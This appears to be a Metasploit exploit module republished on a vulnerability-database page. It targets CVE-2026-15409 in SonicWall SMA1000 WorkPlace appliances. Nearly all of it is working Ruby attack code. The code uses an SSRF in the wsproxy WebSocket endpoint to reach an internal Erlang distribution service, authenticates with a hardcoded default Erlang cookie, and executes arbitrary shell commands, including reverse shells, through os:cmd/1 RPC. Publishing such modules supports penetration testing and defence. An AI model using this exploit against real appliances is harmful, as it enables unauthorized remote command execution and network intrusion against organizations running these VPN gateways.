SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution
🗓️ 14 Jul 2026 00:00:00Reported by Ryan Emmons, Deral Heiland, Rapid7 Vulnerability ResearchType
metasploit🔗 www.rapid7.com👁 7 Views
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'
require 'digest'
require 'securerandom'
require 'timeout'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
ETF_VERSION = 131
SMALL_INTEGER_EXT = 97
INTEGER_EXT = 98
ATOM_EXT = 100
REFERENCE_EXT = 101
PID_EXT = 103
SMALL_TUPLE_EXT = 104
NIL_EXT = 106
STRING_EXT = 107
LIST_EXT = 108
BINARY_EXT = 109
ATOM_UTF8_EXT = 118
SMALL_ATOM_UTF8_EXT = 119
NEW_PID_EXT = 88
NEWER_REFERENCE_EXT = 90
DFLAG_EXTENDED_REFERENCES = 0x00000004
DFLAG_FUN_TAGS = 0x00000010
DFLAG_NEW_FUN_TAGS = 0x00000080
DFLAG_EXTENDED_PIDS_PORTS = 0x00000100
DFLAG_EXPORT_PTR_TAG = 0x00000200
DFLAG_BIT_BINARIES = 0x00000400
DFLAG_NEW_FLOATS = 0x00000800
DFLAG_UTF8_ATOMS = 0x00010000
DFLAG_MAP_TAG = 0x00020000
DFLAG_BIG_CREATION = 0x00040000
DFLAG_HANDSHAKE_23 = 0x01000000
DIST_FLAGS = DFLAG_EXTENDED_REFERENCES |
DFLAG_FUN_TAGS |
DFLAG_NEW_FUN_TAGS |
DFLAG_EXTENDED_PIDS_PORTS |
DFLAG_EXPORT_PTR_TAG |
DFLAG_BIT_BINARIES |
DFLAG_NEW_FLOATS |
DFLAG_UTF8_ATOMS |
DFLAG_MAP_TAG |
DFLAG_BIG_CREATION |
DFLAG_HANDSHAKE_23
SmaReadyFrame = "\x0b\x00\x00\x00\x00".b
Pid = Struct.new(:node, :ident, :serial, :creation)
Reference = Struct.new(:node, :ident, :creation)
# Adapts the SMA Connect Agent WebSocket protocol to the socket-like
# sendall/recv interface required by the Erlang distribution implementation.
#
# WebSocket framing and connection handling are provided by Rex. This adapter
# handles SMA-specific Base64 encoding, the initial ready frame, and buffering
# for exact-length Erlang reads.
class SmaErlangWebSocketAdapter
def initialize(wsock, read_timeout, verbose_proc = nil)
@wsock = wsock
@read_timeout = read_timeout
@verbose_proc = verbose_proc
@recv_buffer = ''.b
consume_ready_frame
end
def sendall(data)
# The SMA Connect Agent protocol sends base64 data in WebSocket text frames.
@wsock.put_wstext(Base64.strict_encode64(data))
end
def recv(size)
while @recv_buffer.bytesize < size
message = read_message
break if message.nil?
@recv_buffer << message
end
result = @recv_buffer.byteslice(0, size) || ''.b
@recv_buffer = @recv_buffer.byteslice(size..) || ''.b
result
end
def close
@wsock.wsclose
rescue StandardError
nil
end
private
def consume_ready_frame
message = read_message(timeout: 1, allow_timeout: true)
return if message.nil?
if message == MetasploitModule::SmaReadyFrame
@verbose_proc&.call('Received SMA ready frame')
else
@recv_buffer << message
end
end
def read_message(timeout: @read_timeout, allow_timeout: false)
result = catch(:sma_websocket_message) do
Timeout.timeout(timeout) do
# Rex wsloop handles WebSocket fragmentation, masking, ping/pong, and
# close frames. Throwing from the callback returns one complete message
# without allowing wsloop to close the still-active WebSocket.
@wsock.wsloop do |data, _data_type|
throw :sma_websocket_message, data.to_s.b
end
end
nil
end
result
rescue Timeout::Error
return nil if allow_timeout
raise Rex::TimeoutError, 'Timed out waiting for WebSocket data'
end
end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution',
'Description' => %q{
This module exploits a Server-Side Request Forgery (SSRF)
vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service to
access the internal Erlang distribution service.
After authenticating using the known Erlang distribution cookie, the
module invokes os:cmd/1 through Erlang RPC to execute arbitrary Unix
commands in the context of the vulnerable SMA service.
The check method performs a benign Erlang node RPC rather than
executing an operating system command.
},
'License' => MSF_LICENSE,
'Author' => [
'Ryan Emmons', # Original Python PoC research and development
'Deral Heiland', # Metasploit module testing and development
'Rapid7 Vulnerability Research'
],
'References' => [
['CVE', '2026-15409'],
['URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008'],
['URL', 'https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/']
],
'DisclosureDate' => '2026-07-14',
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/tmp',
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'SMA WorkPlace base path', '/']),
OptString.new('WSHOST', [true, 'Internal host supplied to wsproxy', '0.0.0.0']),
OptPort.new('WSPORT', [true, 'Internal Erlang distribution service port', 1050]),
OptString.new('BMID', [true, 'Bookmark identifier beginning with -3389', '-3389c1b25ccd']),
OptString.new('SERVICE_TYPE', [true, 'wsproxy service type', 'SSH']),
OptString.new('ORIGIN', [false, 'WebSocket Origin header; generated automatically when empty', '']),
OptString.new('WS_USER_AGENT', [true, 'WebSocket User-Agent header', 'SMA Connect Agent']),
OptString.new('ERLANG_COOKIE', [true, 'Erlang distribution cookie', '10ecad5b446e86864832904cd439b6b70262']),
OptString.new('NODE_NAME', [false, 'Erlang client node name; generated automatically when empty', '']),
OptInt.new('WS_READ_TIMEOUT', [true, 'Seconds to wait for WebSocket protocol data', 10])
]
)
end
def websocket_uri
query = "bmID=#{Rex::Text.uri_encode(datastore['BMID'])}" \
"&serviceType=#{Rex::Text.uri_encode(datastore['SERVICE_TYPE'])}" \
"&host=#{Rex::Text.uri_encode(datastore['WSHOST'])}" \
"&port=#{datastore['WSPORT']}"
"#{normalize_uri(target_uri.path, 'wsproxy')}?#{query}"
end
def websocket_origin
return datastore['ORIGIN'] unless datastore['ORIGIN'].blank?
scheme = ssl ? 'https' : 'http'
default_port = ssl ? 443 : 80
authority = vhost
authority = "#{authority}:#{rport}" unless rport == default_port
"#{scheme}://#{authority}"
end
def erlang_node_name
return datastore['NODE_NAME'] unless datastore['NODE_NAME'].blank?
"#{Rex::Text.rand_text_numeric(6)}@127.0.0.1"
end
def connect_sma_websocket
vprint_status("Connecting to #{websocket_uri}")
vprint_status("Origin: #{websocket_origin}")
vprint_status("Internal destination: #{datastore['WSHOST']}:#{datastore['WSPORT']}")
wsock = connect_ws(
'method' => 'GET',
'uri' => websocket_uri,
'headers' => {
'Origin' => websocket_origin,
'User-Agent' => datastore['WS_USER_AGENT'],
'Sec-WebSocket-Protocol' => 'binary'
}
)
vprint_good('WebSocket upgrade succeeded')
SmaErlangWebSocketAdapter.new(wsock, datastore['WS_READ_TIMEOUT'], proc { |message| vprint_status(message) })
end
def recv_exact(sock, size)
buffer = ''.b
while buffer.bytesize < size
chunk = sock.recv(size - buffer.bytesize)
raise EOFError, 'Peer closed the connection' if chunk.nil? || chunk.empty?
buffer << chunk
end
buffer
end
def send_handshake_packet(sock, payload)
sock.sendall([payload.bytesize].pack('n') + payload)
end
def recv_handshake_packet(sock)
size = recv_exact(sock, 2).unpack1('n')
recv_exact(sock, size)
end
def send_dist_packet(sock, payload)
sock.sendall([payload.bytesize].pack('N') + payload)
end
def recv_dist_packet(sock)
size = recv_exact(sock, 4).unpack1('N')
return ''.b if size.zero?
recv_exact(sock, size)
end
def erlang_digest(cookie, challenge)
Digest::MD5.digest("#{cookie}#{challenge}")
end
def parse_challenge(payload)
case payload.byteslice(0, 1)
when 'N'
raise ArgumentError, 'Short new-style Erlang challenge packet' if payload.bytesize < 19
flags, challenge, creation, name_length = payload.byteslice(1, 18).unpack('Q>NNn')
name = payload.byteslice(19, name_length).to_s
[flags, challenge, creation, name]
when 'n'
raise ArgumentError, 'Short old-style Erlang challenge packet' if payload.bytesize < 11
_version, flags, challenge = payload.byteslice(1, 10).unpack('nNN')
name = payload.byteslice(11..).to_s
[flags, challenge, 0, name]
else
raise ArgumentError, "Unexpected Erlang challenge tag: #{payload.byteslice(0, 1).inspect}"
end
end
def etf_atom(value)
data = value.to_s.b
if data.bytesize <= 255
[SMALL_ATOM_UTF8_EXT, data.bytesize].pack('CC') + data
else
[ATOM_UTF8_EXT, data.bytesize].pack('Cn') + data
end
end
def etf_small_int(value)
raise ArgumentError, 'Small integer is outside the range 0..255' unless value.between?(0, 255)
[SMALL_INTEGER_EXT, value].pack('CC')
end
def etf_string(value)
data = value.to_s.b
raise ArgumentError, 'ETF STRING_EXT exceeds 65535 bytes' if data.bytesize > 65_535
[STRING_EXT, data.bytesize].pack('Cn') + data
end
def etf_nil
[NIL_EXT].pack('C')
end
def etf_tuple(*items)
raise ArgumentError, 'Tuple arity exceeds SMALL_TUPLE_EXT capacity' if items.length > 255
[SMALL_TUPLE_EXT, items.length].pack('CC') + items.join
end
def etf_list(items)
[LIST_EXT, items.length].pack('CN') + items.join + etf_nil
end
def etf_pid(pid)
[PID_EXT].pack('C') + etf_atom(pid.node) + [pid.ident, pid.serial, pid.creation].pack('NNC')
end
def decode_etf(data, offset = 0)
raise ArgumentError, 'Unexpected end of ETF data' if offset >= data.bytesize
tag = data.getbyte(offset)
offset += 1
return decode_etf(data, offset) if tag == ETF_VERSION
case tag
when SMALL_INTEGER_EXT
[data.getbyte(offset), offset + 1]
when INTEGER_EXT
[data.byteslice(offset, 4).unpack1('l>'), offset + 4]
when ATOM_EXT, ATOM_UTF8_EXT
length = data.byteslice(offset, 2).unpack1('n')
offset += 2
[data.byteslice(offset, length).to_s, offset + length]
when SMALL_ATOM_UTF8_EXT
length = data.getbyte(offset)
offset += 1
[data.byteslice(offset, length).to_s, offset + length]
when STRING_EXT
length = data.byteslice(offset, 2).unpack1('n')
offset += 2
[data.byteslice(offset, length).to_s, offset + length]
when BINARY_EXT
length = data.byteslice(offset, 4).unpack1('N')
offset += 4
[data.byteslice(offset, length).to_s.b, offset + length]
when NIL_EXT
[[], offset]
when SMALL_TUPLE_EXT
arity = data.getbyte(offset)
offset += 1
values = []
arity.times do
value, offset = decode_etf(data, offset)
values << value
end
[values.freeze, offset]
when LIST_EXT
length = data.byteslice(offset, 4).unpack1('N')
offset += 4
values = []
length.times do
value, offset = decode_etf(data, offset)
values << value
end
tail, offset = decode_etf(data, offset)
values << [:tail, tail] unless tail == []
[values, offset]
when PID_EXT
node, offset = decode_etf(data, offset)
ident, serial = data.byteslice(offset, 8).unpack('NN')
offset += 8
creation = data.getbyte(offset)
[Pid.new(node, ident, serial, creation), offset + 1]
when NEW_PID_EXT
node, offset = decode_etf(data, offset)
ident, serial, creation = data.byteslice(offset, 12).unpack('NNN')
[Pid.new(node, ident, serial, creation), offset + 12]
when REFERENCE_EXT
node, offset = decode_etf(data, offset)
ident = data.byteslice(offset, 4).unpack1('N')
offset += 4
creation = data.getbyte(offset)
[Reference.new(node, ident, creation), offset + 1]
when NEWER_REFERENCE_EXT
length = data.byteslice(offset, 2).unpack1('n')
offset += 2
node, offset = decode_etf(data, offset)
creation = data.byteslice(offset, 4).unpack1('N')
offset += 4
identifiers = []
length.times do
identifiers << data.byteslice(offset, 4).unpack1('N')
offset += 4
end
[[:reference, node, creation, identifiers], offset]
else
raise ArgumentError, "Unsupported ETF tag #{tag} at offset #{offset - 1}"
end
end
def rpc_call(sock, node_name, erlang_module, function, arguments)
sender_pid = Pid.new(node_name, 1, 0, 0)
request = etf_tuple(
etf_pid(sender_pid),
etf_tuple(
etf_atom('call'),
etf_atom(erlang_module),
etf_atom(function),
etf_list(arguments),
etf_atom('user')
)
)
control = etf_tuple(
etf_small_int(6),
etf_pid(sender_pid),
etf_atom('nocookie'),
etf_atom('rex')
)
send_dist_packet(sock, [112, ETF_VERSION].pack('CC') + control + [ETF_VERSION].pack('C') + request)
loop do
packet = recv_dist_packet(sock)
next if packet.empty?
raise "Unexpected distribution packet type #{packet.getbyte(0)}" unless packet.getbyte(0) == 112
control_term, offset = decode_etf(packet, 1)
message_term, = decode_etf(packet, offset)
next unless control_term.is_a?(Array) && control_term[0] == 2
next unless message_term.is_a?(Array) && message_term.length == 2 && message_term[0] == 'rex'
return message_term[1]
end
end
def erlang_connect_and_rpc(erlang_module, function, arguments)
sock = connect_sma_websocket
node_name = erlang_node_name
node_name_data = node_name.b
vprint_status("Using Erlang node name #{node_name}")
name_packet = 'N'.b + [DIST_FLAGS, 0, node_name_data.bytesize].pack('Q>Nn') + node_name_data
send_handshake_packet(sock, name_packet)
status = recv_handshake_packet(sock)
raise "Unexpected Erlang status packet: #{status.inspect}" unless status.start_with?('s')
status_text = status.byteslice(1..).to_s
vprint_status("Erlang distribution status: #{status_text}")
raise "Erlang connection rejected: #{status_text}" unless %w[ok ok_simultaneous].include?(status_text)
challenge_packet = recv_handshake_packet(sock)
peer_flags, peer_challenge, peer_creation, peer_name = parse_challenge(challenge_packet)
vprint_good("Reached Erlang node #{peer_name}")
vprint_status(format('Peer flags: 0x%x', peer_flags))
vprint_status("Peer creation: #{peer_creation}")
my_challenge = SecureRandom.random_number(0x1_0000_0000)
reply = 'r'.b + [my_challenge].pack('N') + erlang_digest(datastore['ERLANG_COOKIE'], peer_challenge)
send_handshake_packet(sock, reply)
acknowledgement = recv_handshake_packet(sock)
raise "Unexpected Erlang acknowledgement: #{acknowledgement.inspect}" unless acknowledgement.start_with?('a')
raise 'Erlang cookie authentication failed' unless acknowledgement.byteslice(1..) == erlang_digest(datastore['ERLANG_COOKIE'], my_challenge)
vprint_good('Erlang cookie authentication succeeded')
result = rpc_call(sock, node_name, erlang_module, function, arguments)
[result, peer_name]
ensure
sock&.close
end
def format_term(value)
case value
when String
value
when Array
"{#{value.map { |item| format_term(item) }.join(', ')}}"
when Pid
"#Pid<#{value.node}.#{value.ident}.#{value.serial}>"
when Reference
"#Ref<#{value.node}.#{value.ident}>"
else
value.to_s
end
end
def check
result, peer_name = erlang_connect_and_rpc('erlang', 'node', [])
node_result = format_term(result)
return CheckCode::Unknown('The Erlang RPC completed but returned an empty node name') if node_result.blank?
CheckCode::Appears("Authenticated to internal Erlang node #{peer_name}; erlang:node/0 returned #{node_result}")
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
details = e.http_response ? "HTTP #{e.http_response.code}" : e.message
CheckCode::Safe("The wsproxy WebSocket upgrade was rejected: #{details}")
rescue Rex::ConnectionError, Rex::TimeoutError, EOFError => e
CheckCode::Unknown("Connection failed while testing the internal Erlang service: #{e.message}")
rescue RuntimeError, ArgumentError => e
if e.message.include?('cookie authentication failed')
CheckCode::Appears("The internal Erlang service was reached, but the configured cookie was rejected: #{e.message}")
else
CheckCode::Unknown("The internal protocol returned an unexpected result: #{e.message}")
end
end
def execute_command(command, _opts = {})
print_status("Executing command through Erlang os:cmd/1: #{command}")
result, peer_name = erlang_connect_and_rpc('os', 'cmd', [etf_string(command)])
output = format_term(result)
print_good("RPC completed through #{peer_name}")
print_line(output) unless output.blank?
output
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
rescue Rex::ConnectionError, EOFError => e
fail_with(Failure::Unreachable, "Connection failed: #{e.message}")
rescue RuntimeError, ArgumentError => e
fail_with(Failure::UnexpectedReply, e.message)
end
def exploit
execute_command(payload.encoded)
rescue Rex::TimeoutError => e
# A reverse or bind command shell can keep Erlang os:cmd/1 blocked even
# after Metasploit has successfully registered the new session. Only
# suppress the transport timeout when the framework confirms a session.
raise e unless session_created?
print_good('Session created; ignoring the expected Erlang RPC/WebSocket timeout from the still-running command shell.')
vprint_status("WebSocket timeout after session creation: #{e.message}")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Jul 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8